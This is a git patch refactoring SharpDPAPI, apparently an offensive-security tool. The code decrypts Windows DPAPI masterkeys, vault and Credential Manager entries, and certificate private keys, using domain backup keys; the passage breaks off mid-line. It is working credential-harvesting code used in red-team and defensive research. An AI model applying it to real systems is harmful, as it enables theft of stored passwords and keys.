From 06c6283169257f63c7ca8b5648b6c356f585fabd Mon Sep 17 00:00:00 2001 From: leechristensen Date: Wed, 1 Jul 2020 19:18:11 -0700 Subject: [PATCH 01/66] code cleanup and refactoring --- SharpDPAPI/Program.cs | 9 +- SharpDPAPI/SharpDPAPI.csproj | 2 +- SharpDPAPI/app.config | 2 +- SharpDPAPI/lib/Crypto.cs | 174 +++--- SharpDPAPI/lib/Dpapi.cs | 718 ++++++++++++------------ SharpDPAPI/lib/Triage.cs | 1004 ++++++++++++++++------------------ 6 files changed, 946 insertions(+), 963 deletions(-) diff --git a/SharpDPAPI/Program.cs b/SharpDPAPI/Program.cs index 40ce97f..0f81aef 100755 --- a/SharpDPAPI/Program.cs +++ b/SharpDPAPI/Program.cs @@ -1,12 +1,16 @@ using SharpDPAPI.Domain; using System; +using System.Diagnostics; namespace SharpDPAPI { class Program { - static void Main(string[] args) + public static void Main(string[] args) { + Stopwatch sw = new Stopwatch(); + sw.Start(); + try { Info.Logo(); @@ -33,6 +37,9 @@ static void Main(string[] args) Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n"); Console.WriteLine(e); } + + sw.Stop(); + Console.WriteLine("\n\nSharpDPAPI completed in " + sw.Elapsed); } } } diff --git a/SharpDPAPI/SharpDPAPI.csproj b/SharpDPAPI/SharpDPAPI.csproj index 03e73de..681caa0 100755 --- a/SharpDPAPI/SharpDPAPI.csproj +++ b/SharpDPAPI/SharpDPAPI.csproj @@ -9,7 +9,7 @@ Properties SharpDPAPI SharpDPAPI - v4.0 + v3.5 512 publish\ true diff --git a/SharpDPAPI/app.config b/SharpDPAPI/app.config index 57c0f2c..cf7e7ab 100755 --- a/SharpDPAPI/app.config +++ b/SharpDPAPI/app.config @@ -1,3 +1,3 @@ - + diff --git a/SharpDPAPI/lib/Crypto.cs b/SharpDPAPI/lib/Crypto.cs index d288880..9b01bf1 100755 --- a/SharpDPAPI/lib/Crypto.cs +++ b/SharpDPAPI/lib/Crypto.cs @@ -17,82 +17,85 @@ public static string KerberosPasswordHash(Interop.KERB_ETYPE etype, string passw IntPtr pCSystemPtr; // locate the crypto system for the hash type we want - int status = Interop.CDLocateCSystem(etype, out pCSystemPtr); + var status = Interop.CDLocateCSystem(etype, out pCSystemPtr); - pCSystem = (Interop.KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); + pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); if (status != 0) - throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem"); + throw new Win32Exception(status, "Error on CDLocateCSystem"); // get the delegate for the password hash function - Interop.KERB_ECRYPT_HashPassword pCSystemHashPassword = (Interop.KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pCSystem.HashPassword, typeof(Interop.KERB_ECRYPT_HashPassword)); - Interop.UNICODE_STRING passwordUnicode = new Interop.UNICODE_STRING(password); - Interop.UNICODE_STRING saltUnicode = new Interop.UNICODE_STRING(salt); + var pCSystemHashPassword = (Interop.KERB_ECRYPT_HashPassword)Marshal.GetDelegateForFunctionPointer(pCSystem.HashPassword, typeof(Interop.KERB_ECRYPT_HashPassword)); + var passwordUnicode = new Interop.UNICODE_STRING(password); + var saltUnicode = new Interop.UNICODE_STRING(salt); - byte[] output = new byte[pCSystem.KeySize]; + var output = new byte[pCSystem.KeySize]; - int success = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output); + status = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output); if (status != 0) throw new Win32Exception(status); - return System.BitConverter.ToString(output).Replace("-", ""); + return BitConverter.ToString(output).Replace("-", ""); } - - public static byte[] DecryptBlob(byte[] ciphertext, byte[] key, int algCrypt = 26115, PaddingMode padding = PaddingMode.Zeros) + + public static byte[] DecryptBlob(byte[] ciphertext, byte[] key, int algCrypt, PaddingMode padding = PaddingMode.Zeros) { // decrypts a DPAPI blob using 3DES or AES // reference: https://docs.microsoft.com/en-us/windows/desktop/seccrypto/alg-id - // 26115 == CALG_3DES - // 26128 == CALG_AES_256 - - if (algCrypt == 26115) - { - // takes a byte array of ciphertext bytes and a key array, decrypt the blob with 3DES - TripleDESCryptoServiceProvider desCryptoProvider = new TripleDESCryptoServiceProvider(); - byte[] ivBytes = new byte[8]; - desCryptoProvider.Key = key; - desCryptoProvider.IV = ivBytes; - desCryptoProvider.Mode = CipherMode.CBC; - desCryptoProvider.Padding = padding; - try + switch (algCrypt) + { + case 26115: // 26115 == CALG_3DES { - byte[] plaintextBytes = desCryptoProvider.CreateDecryptor() - .TransformFinalBlock(ciphertext, 0, ciphertext.Length); - return plaintextBytes; + // takes a byte array of ciphertext bytes and a key array, decrypt the blob with 3DES + var desCryptoProvider = new TripleDESCryptoServiceProvider(); + + var ivBytes = new byte[8]; + + desCryptoProvider.Key = key; + desCryptoProvider.IV = ivBytes; + desCryptoProvider.Mode = CipherMode.CBC; + desCryptoProvider.Padding = padding; + try + { + var plaintextBytes = desCryptoProvider.CreateDecryptor() + .TransformFinalBlock(ciphertext, 0, ciphertext.Length); + return plaintextBytes; + } + catch (Exception e) + { + Console.WriteLine("[x] An exception occured: {0}", e); + } + + return new byte[0]; } - catch (Exception e) + + case 26128: // 26128 == CALG_AES_256 { - Console.WriteLine("[x] An exception occured: {0}", e); - } + // takes a byte array of ciphertext bytes and a key array, decrypt the blob with AES256 + var aesCryptoProvider = new AesManaged(); - return new byte[0]; - } - else if (algCrypt == 26128) - { - // takes a byte array of ciphertext bytes and a key array, decrypt the blob with AES256 - AesManaged aesCryptoProvider = new AesManaged(); + var ivBytes = new byte[16]; - byte[] ivBytes = new byte[16]; + aesCryptoProvider.Key = key; + aesCryptoProvider.IV = ivBytes; + aesCryptoProvider.Mode = CipherMode.CBC; + aesCryptoProvider.Padding = padding; - aesCryptoProvider.Key = key; - aesCryptoProvider.IV = ivBytes; - aesCryptoProvider.Mode = CipherMode.CBC; - aesCryptoProvider.Padding = padding; + var plaintextBytes = aesCryptoProvider.CreateDecryptor() + .TransformFinalBlock(ciphertext, 0, ciphertext.Length); - byte[] plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(ciphertext, 0, ciphertext.Length); + return plaintextBytes; + } - return plaintextBytes; - } - else - { - return new byte[0]; + default: + throw new Exception($"Could not decrypt blob. Unsupported algorithm: {algCrypt}"); } } - public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash = 32772) + public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash) { // derives a dpapi session key using Microsoft crypto "magic" @@ -101,41 +104,38 @@ public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash = if (algHash == 32782) { // 32782 == CALG_SHA_512 - HMACSHA512 hmac = new HMACSHA512(keyBytes); - byte[] sessionKeyBytes = hmac.ComputeHash(saltBytes); - return sessionKeyBytes; - } - - else if (algHash == 32772) + return HMACSha512(keyBytes, saltBytes); + } else if (algHash == 32772) { // 32772 == CALG_SHA1 - HMACSHA1 hmac = new HMACSHA1(keyBytes); - - byte[] ipad = new byte[64]; - byte[] opad = new byte[64]; + var hmac = new HMACSHA1(keyBytes); + var sessionKeyBytes = hmac.ComputeHash(saltBytes); + + + var ipad = new byte[64]; + var opad = new byte[64]; - byte[] sessionKeyBytes = hmac.ComputeHash(saltBytes); // "...wut" - anyone reading Microsoft crypto - for (int i = 0; i < 64; i++) + for (var i = 0; i < 64; i++) { ipad[i] = Convert.ToByte('6'); opad[i] = Convert.ToByte('\\'); } - for (int i = 0; i < keyBytes.Length; i++) + for (var i = 0; i < keyBytes.Length; i++) { ipad[i] ^= sessionKeyBytes[i]; opad[i] ^= sessionKeyBytes[i]; } - using (SHA1Managed sha1 = new SHA1Managed()) + using (var sha1 = new SHA1Managed()) { - byte[] ipadSHA1bytes = sha1.ComputeHash(ipad); - byte[] opadSHA1bytes = sha1.ComputeHash(opad); + var ipadSHA1bytes = sha1.ComputeHash(ipad); + var opadSHA1bytes = sha1.ComputeHash(opad); - byte[] combined = Helpers.Combine(ipadSHA1bytes, opadSHA1bytes); + var combined = Helpers.Combine(ipadSHA1bytes, opadSHA1bytes); return combined; } } @@ -144,10 +144,18 @@ public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash = return new byte[0]; } } + + private static byte[] HMACSha512(byte[] keyBytes, byte[] saltBytes) + { + var hmac = new HMACSHA512(keyBytes); + var sessionKeyBytes = hmac.ComputeHash(saltBytes); + return sessionKeyBytes; + } + public static string ExportPrivateKey(RSACryptoServiceProvider csp) { //https://stackoverflow.com/questions/23734792/c-sharp-export-private-public-rsa-key-from-rsacryptoserviceprovider-to-pem-strin - StringWriter outputStream = new StringWriter(); + var outputStream = new StringWriter(); if (csp.PublicOnly) throw new ArgumentException("CSP does not contain a private key", "csp"); var parameters = csp.ExportParameters(true); using (var stream = new MemoryStream()) @@ -190,7 +198,7 @@ public static byte[] AESDecrypt(byte[] key, byte[] IV, byte[] data) { // helper to AES decrypt a given blob with optional IV - AesManaged aesCryptoProvider = new AesManaged(); + var aesCryptoProvider = new AesManaged(); aesCryptoProvider.Key = key; if (IV.Length != 0) @@ -199,32 +207,32 @@ public static byte[] AESDecrypt(byte[] key, byte[] IV, byte[] data) } aesCryptoProvider.Mode = CipherMode.CBC; - byte[] plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); + var plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); return plaintextBytes; } public static byte[] LSAAESDecrypt(byte[] key, byte[] data) { - AesManaged aesCryptoProvider = new AesManaged(); + var aesCryptoProvider = new AesManaged(); aesCryptoProvider.Key = key; aesCryptoProvider.IV = new byte[16]; aesCryptoProvider.Mode = CipherMode.CBC; aesCryptoProvider.BlockSize = 128; aesCryptoProvider.Padding = PaddingMode.Zeros; - ICryptoTransform transform = aesCryptoProvider.CreateDecryptor(); + var transform = aesCryptoProvider.CreateDecryptor(); - int chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16)); - byte[] plaintext = new byte[chunks * 16]; + var chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16)); + var plaintext = new byte[chunks * 16]; - for (int i = 0; i < chunks; ++i) + for (var i = 0; i < chunks; ++i) { - int offset = i * 16; - byte[] chunk = new byte[16]; + var offset = i * 16; + var chunk = new byte[16]; Array.Copy(data, offset, chunk, 0, 16); - byte[] chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length); + var chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length); Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16); } @@ -236,22 +244,22 @@ public static byte[] RSADecrypt(byte[] privateKey, byte[] dataToDecrypt) // helper to RSA decrypt a given blob // PROV_RSA_AES == 24 - var cspParameters = new System.Security.Cryptography.CspParameters(24); + var cspParameters = new CspParameters(24); - using (var rsaProvider = new System.Security.Cryptography.RSACryptoServiceProvider(cspParameters)) + using (var rsaProvider = new RSACryptoServiceProvider(cspParameters)) { try { rsaProvider.PersistKeyInCsp = false; rsaProvider.ImportCspBlob(privateKey); - byte[] dataToDecryptRev = new byte[256]; + var dataToDecryptRev = new byte[256]; Buffer.BlockCopy(dataToDecrypt, 0, dataToDecryptRev, 0, dataToDecrypt.Length); // ... Array.Copy? naw... :( Array.Reverse(dataToDecryptRev); // ... don't ask me how long it took to realize this :( - byte[] dec = rsaProvider.Decrypt(dataToDecryptRev, false); // no padding + var dec = rsaProvider.Decrypt(dataToDecryptRev, false); // no padding return dec; } catch (Exception e) @@ -271,11 +279,11 @@ public static byte[] RSADecrypt(byte[] privateKey, byte[] dataToDecrypt) public static byte[] LSASHA256Hash(byte[]key, byte[] rawData) { // yay - using (SHA256 sha256Hash = SHA256.Create()) + using (var sha256Hash = SHA256.Create()) { - byte[] buffer = new byte[key.Length + (rawData.Length * 1000)]; + var buffer = new byte[key.Length + (rawData.Length * 1000)]; Array.Copy(key, 0, buffer, 0, key.Length); - for (int i = 0; i < 1000; ++i) + for (var i = 0; i < 1000; ++i) { Array.Copy(rawData, 0, buffer, key.Length + (i * rawData.Length), rawData.Length); } diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index c39be8d..6ab05c9 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -3,9 +3,11 @@ using System.Collections; using System.Collections.Generic; using System.IO; +using System.Linq; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; +using System.Text.RegularExpressions; namespace SharpDPAPI { @@ -52,7 +54,7 @@ public static byte[] DescribeDPAPICertBlob(byte[] blobBytes, Dictionary 0 || sigprivkeylen > 0 || sigflagslen > 0 || flagslen > 0 && privkeylen == 0) @@ -79,7 +81,7 @@ public static byte[] DescribeDPAPICertBlob(byte[] blobBytes, Dictionary 0) @@ -94,7 +96,7 @@ public static byte[] DescribeDPAPICertBlob(byte[] blobBytes, Dictionary DescribeCertificate(byte[] certificateBytes, } var found = false; - + foreach (var cert in certCollection) { var PublicXML = cert.PublicKey.Key.ToXmlString(false).Replace("", ""); @@ -263,18 +274,18 @@ public static Tuple DescribeCertificate(byte[] certificateBytes, int BufferSize = 64; int Index = 0; var sb = new StringBuilder(); - + sb.AppendLine("-----BEGIN CERTIFICATE-----"); - for (var i = 0; i< b64cert.Length; i+=64 ) + for (var i = 0; i < b64cert.Length; i += 64) { - sb.AppendLine(b64cert.Substring(i, Math.Min(64, b64cert.Length-i))); + sb.AppendLine(b64cert.Substring(i, Math.Min(64, b64cert.Length - i))); Index += BufferSize; } sb.AppendLine("-----END CERTIFICATE-----"); keypairTuple = new Tuple(PrivatePKCS1, sb.ToString()); found = true; - // Commented code for pfx generation due to MS not giving - //a dispose method < .NET4.6 https://snede.net/the-most-dangerous-constructor-in-net/ + // Commented code for pfx generation due to MS not giving + //a dispose method < .NET4.6 https://snede.net/the-most-dangerous-constructor-in-net/ // X509Certificate2 certificate = new X509Certificate2(cert.RawData); // certificate.PrivateKey = ; // string filename = string.Format("{0}.pfx", cert.Thumbprint); @@ -288,7 +299,7 @@ public static Tuple DescribeCertificate(byte[] certificateBytes, } } certCollection.Clear(); - + if (store != null) { @@ -376,7 +387,7 @@ public static Tuple ParseDecCertBlob(byte[] decBlobBytes) string tmpStr = Helpers.OS2IP(modulus, false).ToHexString(); int len = tmpStr.Length; - + RSAKeyInfo.Modulus = Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(modulus, true).ToHexString()); RSAKeyInfo.Exponent = Helpers.trimByte(Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(pubexp, true).ToHexString())); RSAKeyInfo.D = Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(privExponent, true).ToHexString()); @@ -386,7 +397,7 @@ public static Tuple ParseDecCertBlob(byte[] decBlobBytes) RSAKeyInfo.DQ = Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(exponent2, true).ToHexString()); RSAKeyInfo.InverseQ = Helpers.ConvertHexStringToByteArray(Helpers.OS2IP(coefficient, true).ToHexString()); rsa.ImportParameters(RSAKeyInfo); - + Tuple privateKeyb64 = new Tuple(Crypto.ExportPrivateKey(rsa), rsa.ToXmlString(true)); return privateKeyb64; } @@ -395,9 +406,9 @@ public static Tuple ParseDecCertBlob(byte[] decBlobBytes) public static Dictionary PVKTriage(Dictionary arguments) { // used by command functions to take a /pvk:X backupkey and use it to decrypt user masterkeys - Dictionary masterkeys = new Dictionary(); + var masterkeys = new Dictionary(); - string pvk64 = arguments["/pvk"]; + var pvk64 = arguments["/pvk"]; if (String.IsNullOrEmpty(pvk64)) { Console.WriteLine("[X] /pvk:X must be a .pvk file or base64 encoded pvk representation"); @@ -426,12 +437,12 @@ public static Dictionary PVKTriage(Dictionary ar if (arguments.ContainsKey("/server")) { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(backupKeyBytes, false, arguments["/server"]); + masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes, false, arguments["/server"]); } else { Console.WriteLine(""); - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(backupKeyBytes, false); + masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes, false); } if (masterkeys.Count == 0) @@ -441,7 +452,7 @@ public static Dictionary PVKTriage(Dictionary ar else { Console.WriteLine("[*] User master key cache:\r\n"); - foreach (KeyValuePair kvp in masterkeys) + foreach (var kvp in masterkeys) { Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); } @@ -459,7 +470,7 @@ public static byte[] DescribeDPAPIBlob(byte[] blobBytes, Dictionary dictionary of GUID:Sha1(MasterKey) mappings for decryption // blobType -> "credential", vault "policy", "blob", "rdg", or "chrome" - int offset = 0; + var offset = 0; if (blobType.Equals("credential")) { offset = 36; @@ -474,10 +485,10 @@ public static byte[] DescribeDPAPIBlob(byte[] blobBytes, Dictionary offset where the masterkey GUID starts - byte[] plaintextBytes = DescribeDPAPIBlob(blobBytes, MasterKeys, "policy"); + var plaintextBytes = DescribeDPAPIBlob(blobBytes, MasterKeys, "policy"); if (plaintextBytes.Length > 0) { - ArrayList keys = ParseDecPolicyBlob(plaintextBytes); + var keys = ParseDecPolicyBlob(plaintextBytes); if (keys.Count == 2) { - string aes128KeyStr = BitConverter.ToString((byte[])keys[0]).Replace("-", ""); + var aes128KeyStr = BitConverter.ToString((byte[])keys[0]).Replace("-", ""); Console.WriteLine(" aes128 key : {0}", aes128KeyStr); - string aes256KeyStr = BitConverter.ToString((byte[])keys[1]).Replace("-", ""); + var aes256KeyStr = BitConverter.ToString((byte[])keys[1]).Replace("-", ""); Console.WriteLine(" aes256 key : {0}", aes256KeyStr); return keys; @@ -760,34 +771,34 @@ typedef struct _KULL_M_CRED_VAULT_CREDENTIAL { } KULL_M_CRED_VAULT_CREDENTIAL, *PKULL_M_CRED_VAULT_CREDENTIAL; */ - byte[] aes128key = (byte[])AESKeys[0]; - byte[] aes256key = (byte[])AESKeys[1]; + var aes128key = (byte[])AESKeys[0]; + var aes256key = (byte[])AESKeys[1]; - int offset = 0; - int finalAttributeOffset = 0; + var offset = 0; + var finalAttributeOffset = 0; // skip the schema GUID offset += 16; - int unk0 = BitConverter.ToInt32(vaultBytes, offset); + var unk0 = BitConverter.ToInt32(vaultBytes, offset); offset += 4; - long lastWritten = (long)BitConverter.ToInt64(vaultBytes, offset); + var lastWritten = (long)BitConverter.ToInt64(vaultBytes, offset); offset += 8; - System.DateTime lastWrittenTime = System.DateTime.FromFileTime(lastWritten); + var lastWrittenTime = DateTime.FromFileTime(lastWritten); Console.WriteLine("\r\n LastWritten : {0}", lastWrittenTime); // skip unk1/unk2 offset += 8; - int friendlyNameLen = BitConverter.ToInt32(vaultBytes, offset); + var friendlyNameLen = BitConverter.ToInt32(vaultBytes, offset); offset += 4; - string friendlyName = Encoding.Unicode.GetString(vaultBytes, offset, friendlyNameLen); + var friendlyName = Encoding.Unicode.GetString(vaultBytes, offset, friendlyNameLen); offset += friendlyNameLen; Console.WriteLine(" FriendlyName : {0}", friendlyName); - int attributeMapLen = BitConverter.ToInt32(vaultBytes, offset); + var attributeMapLen = BitConverter.ToInt32(vaultBytes, offset); offset += 4; // https://github.com/gentilkiwi/mimikatz/blob/110a831ebe7b529c5dd3010f9e7fced0d3e3a46c/modules/kull_m_cred.h#L133-L137 @@ -799,24 +810,24 @@ typedef struct _KULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE_MAP { } KULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE_MAP */ - int numberOfAttributes = attributeMapLen / 12; + var numberOfAttributes = attributeMapLen / 12; - Dictionary attributeMap = new Dictionary(); + var attributeMap = new Dictionary(); - for (int i = 0; i < numberOfAttributes; ++i) + for (var i = 0; i < numberOfAttributes; ++i) { - int attributeNum = BitConverter.ToInt32(vaultBytes, offset); + var attributeNum = BitConverter.ToInt32(vaultBytes, offset); offset += 4; - int attributeOffset = BitConverter.ToInt32(vaultBytes, offset); + var attributeOffset = BitConverter.ToInt32(vaultBytes, offset); offset += 8; // skip unk attributeMap.Add(attributeNum, attributeOffset); } - byte[] leftover = new byte[vaultBytes.Length - 222]; + var leftover = new byte[vaultBytes.Length - 222]; Array.Copy(vaultBytes, 222, leftover, 0, leftover.Length); - foreach (KeyValuePair attribute in attributeMap) + foreach (var attribute in attributeMap) { // from https://github.com/gentilkiwi/mimikatz/blob/110a831ebe7b529c5dd3010f9e7fced0d3e3a46c/modules/kull_m_cred.h#L12-L22 /* @@ -834,7 +845,7 @@ typedef struct _KULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE { */ // initial offset - int attributeOffset = attribute.Value; + var attributeOffset = attribute.Value; // skip cruft attributeOffset += 16; @@ -844,45 +855,45 @@ typedef struct _KULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE { attributeOffset += 4; // id100 https://github.com/SecureAuthCorp/impacket/blob/13a65706273680c297caee0211460ef7369aa8ca/impacket/dpapi.py#L551-L552 } - int dataLen = BitConverter.ToInt32(vaultBytes, attributeOffset); + var dataLen = BitConverter.ToInt32(vaultBytes, attributeOffset); attributeOffset += 4; finalAttributeOffset = attributeOffset; if (dataLen > 0) { - bool IVPresent = BitConverter.ToBoolean(vaultBytes, attributeOffset); + var IVPresent = BitConverter.ToBoolean(vaultBytes, attributeOffset); attributeOffset += 1; if (!IVPresent) { // we don't really care about these... do we? - byte[] dataBytes = new byte[dataLen - 1]; + var dataBytes = new byte[dataLen - 1]; // use aes128, no IV Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1); finalAttributeOffset = attributeOffset + dataLen - 1; - byte[] decBytes = Crypto.AESDecrypt(aes128key, new byte[0], dataBytes); + var decBytes = Crypto.AESDecrypt(aes128key, new byte[0], dataBytes); } else { // use aes256 w/ IV - int IVLen = BitConverter.ToInt32(vaultBytes, attributeOffset); + var IVLen = BitConverter.ToInt32(vaultBytes, attributeOffset); attributeOffset += 4; - byte[] IVBytes = new byte[IVLen]; + var IVBytes = new byte[IVLen]; Array.Copy(vaultBytes, attributeOffset, IVBytes, 0, IVLen); attributeOffset += IVLen; - byte[] dataBytes = new byte[dataLen - 1 - 4 - IVLen]; + var dataBytes = new byte[dataLen - 1 - 4 - IVLen]; Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1 - 4 - IVLen); attributeOffset += dataLen - 1 - 4 - IVLen; finalAttributeOffset = attributeOffset; - byte[] decBytes = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes); + var decBytes = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes); DescribeVaultItem(decBytes); } @@ -893,14 +904,14 @@ typedef struct _KULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE { { // bullshit vault credential clear attributes... - int clearOffset = finalAttributeOffset - 2; - byte[] clearBytes = new byte[vaultBytes.Length - clearOffset]; + var clearOffset = finalAttributeOffset - 2; + var clearBytes = new byte[vaultBytes.Length - clearOffset]; Array.Copy(vaultBytes, clearOffset, clearBytes, 0, clearBytes.Length); - int cleatOffSet2 = 0; + var cleatOffSet2 = 0; cleatOffSet2 += 4; // skip ID - int dataLen = BitConverter.ToInt32(clearBytes, cleatOffSet2); + var dataLen = BitConverter.ToInt32(clearBytes, cleatOffSet2); cleatOffSet2 += 4; if (dataLen > 2000) @@ -910,35 +921,35 @@ typedef struct _KULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE { else if (dataLen > 0) { - bool IVPresent = BitConverter.ToBoolean(vaultBytes, cleatOffSet2); + var IVPresent = BitConverter.ToBoolean(vaultBytes, cleatOffSet2); cleatOffSet2 += 1; if (!IVPresent) { // we don't really care about these... do we? - byte[] dataBytes = new byte[dataLen - 1]; + var dataBytes = new byte[dataLen - 1]; // use aes128, no IV Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1); - byte[] decBytes = Crypto.AESDecrypt(aes128key, new byte[0], dataBytes); + var decBytes = Crypto.AESDecrypt(aes128key, new byte[0], dataBytes); } else { // use aes256 w/ IV - int IVLen = BitConverter.ToInt32(clearBytes, cleatOffSet2); + var IVLen = BitConverter.ToInt32(clearBytes, cleatOffSet2); cleatOffSet2 += 4; - byte[] IVBytes = new byte[IVLen]; + var IVBytes = new byte[IVLen]; Array.Copy(clearBytes, cleatOffSet2, IVBytes, 0, IVLen); cleatOffSet2 += IVLen; - byte[] dataBytes = new byte[dataLen - 1 - 4 - IVLen]; + var dataBytes = new byte[dataLen - 1 - 4 - IVLen]; Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1 - 4 - IVLen); cleatOffSet2 += dataLen - 1 - 4 - IVLen; finalAttributeOffset = cleatOffSet2; - byte[] decBytes = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes); + var decBytes = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes); DescribeVaultItem(decBytes); } @@ -967,27 +978,27 @@ typedef struct _KULL_M_CRED_VAULT_CLEAR { } KULL_M_CRED_VAULT_CLEAR, *PKULL_M_CRED_VAULT_CLEAR; */ - int offset = 0; + var offset = 0; - int version = BitConverter.ToInt32(vaultItemBytes, offset); + var version = BitConverter.ToInt32(vaultItemBytes, offset); offset += 4; - int count = BitConverter.ToInt32(vaultItemBytes, offset); + var count = BitConverter.ToInt32(vaultItemBytes, offset); offset += 4; // skip unk offset += 4; - for (int i = 0; i < count; ++i) + for (var i = 0; i < count; ++i) { - int id = BitConverter.ToInt32(vaultItemBytes, offset); + var id = BitConverter.ToInt32(vaultItemBytes, offset); offset += 4; - int size = BitConverter.ToInt32(vaultItemBytes, offset); + var size = BitConverter.ToInt32(vaultItemBytes, offset); offset += 4; - string entryString = Encoding.Unicode.GetString(vaultItemBytes, offset, size); - byte[] entryData = new byte[size]; + var entryString = Encoding.Unicode.GetString(vaultItemBytes, offset, size); + var entryData = new byte[size]; Array.Copy(vaultItemBytes, offset, entryData, 0, size); offset += size; @@ -1010,7 +1021,7 @@ typedef struct _KULL_M_CRED_VAULT_CLEAR { } else { - string entryDataString = BitConverter.ToString(entryData).Replace("-", " "); + var entryDataString = BitConverter.ToString(entryData).Replace("-", " "); Console.WriteLine(" Property {0} : {1}", id, entryDataString); } break; @@ -1021,7 +1032,7 @@ typedef struct _KULL_M_CRED_VAULT_CLEAR { public static void DescribeCredential(byte[] credentialBytes, Dictionary MasterKeys) { // try to decrypt the credential blob, displaying if successful - byte[] plaintextBytes = DescribeDPAPIBlob(credentialBytes, MasterKeys, "credential"); + var plaintextBytes = DescribeDPAPIBlob(credentialBytes, MasterKeys, "credential"); if (plaintextBytes.Length > 0) { ParseDecCredBlob(plaintextBytes); @@ -1032,27 +1043,27 @@ public static void ParseDecCredBlob(byte[] decBlobBytes) { // parse/display a decrypted credential blob - int offset = 0; + var offset = 0; - UInt32 credFlags = BitConverter.ToUInt32(decBlobBytes, offset); + var credFlags = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - UInt32 credSize = BitConverter.ToUInt32(decBlobBytes, offset); + var credSize = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - UInt32 credUnk0 = BitConverter.ToUInt32(decBlobBytes, offset); + var credUnk0 = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - UInt32 type = BitConverter.ToUInt32(decBlobBytes, offset); + var type = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - UInt32 flags = BitConverter.ToUInt32(decBlobBytes, offset); + var flags = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - long lastWritten = (long)BitConverter.ToInt64(decBlobBytes, offset); + var lastWritten = (long)BitConverter.ToInt64(decBlobBytes, offset); offset += 8; - System.DateTime lastWrittenTime = new System.DateTime(); + var lastWrittenTime = new DateTime(); try { // sanity check that decrypytion worked correctly - lastWrittenTime = System.DateTime.FromFileTime(lastWritten); - if((lastWrittenTime < System.DateTime.Now.AddYears(-20)) || (lastWrittenTime > System.DateTime.Now.AddYears(1))) + lastWrittenTime = DateTime.FromFileTime(lastWritten); + if ((lastWrittenTime < DateTime.Now.AddYears(-20)) || (lastWrittenTime > DateTime.Now.AddYears(1))) { Console.WriteLine(" [X] Decryption failed, likely incorrect password for the associated masterkey"); return; @@ -1065,61 +1076,61 @@ public static void ParseDecCredBlob(byte[] decBlobBytes) } Console.WriteLine(" LastWritten : {0}", lastWrittenTime); - UInt32 unkFlagsOrSize = BitConverter.ToUInt32(decBlobBytes, offset); + var unkFlagsOrSize = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - UInt32 persist = BitConverter.ToUInt32(decBlobBytes, offset); + var persist = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - UInt32 attributeCount = BitConverter.ToUInt32(decBlobBytes, offset); + var attributeCount = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - UInt32 unk0 = BitConverter.ToUInt32(decBlobBytes, offset); + var unk0 = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - UInt32 unk1 = BitConverter.ToUInt32(decBlobBytes, offset); + var unk1 = BitConverter.ToUInt32(decBlobBytes, offset); offset += 4; - Int32 targetNameLen = BitConverter.ToInt32(decBlobBytes, offset); + var targetNameLen = BitConverter.ToInt32(decBlobBytes, offset); offset += 4; - string targetName = Encoding.Unicode.GetString(decBlobBytes, offset, targetNameLen); + var targetName = Encoding.Unicode.GetString(decBlobBytes, offset, targetNameLen); offset += targetNameLen; - Console.WriteLine(" TargetName : {0}", targetName); + Console.WriteLine(" TargetName : {0}", 